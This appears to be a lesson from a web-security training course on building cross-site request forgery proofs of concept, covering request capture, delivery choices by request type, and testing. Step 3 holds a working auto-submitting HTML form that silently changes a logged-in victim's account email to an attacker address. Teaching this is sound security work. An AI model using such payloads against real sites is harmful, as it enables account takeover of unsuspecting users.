Lesson 2
· Free preview · 15 min
Building a CSRF proof-of-concept
GET vs POST, form encoding, JSON endpoints, and auto-submitting pages.
Step 1 — Capture the real request
Perform the action yourself with the proxy running and copy the exact
request: method, path, Content-Type, and every body parameter.
Step 2 — Choose a delivery that matches
| Real request | PoC |
|---|---|
GET /x?a=1 |
<img src="https://target/x?a=1"> |
POST form-encoded |
auto-submitting <form> |
POST multipart/form-data |
<form enctype="multipart/form-data"> |
POST application/json |
usually not CSRF-able without a flaw (see next lesson) |
Step 3 — Form PoC
<html><body>
<form action="https://target/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.example">
</form>
<script>document.forms[0].submit()</script>
</body></html>
Step 4 — Test it
Log in to the target in one tab, open the PoC in another, confirm the action happened. Then verify it still works from a truly different site/origin.
Note
A plain HTML form can only send Content-Type of
application/x-www-form-urlencoded, multipart/form-data, or
text/plain. Endpoints that require application/json and reject the
others are much harder to hit.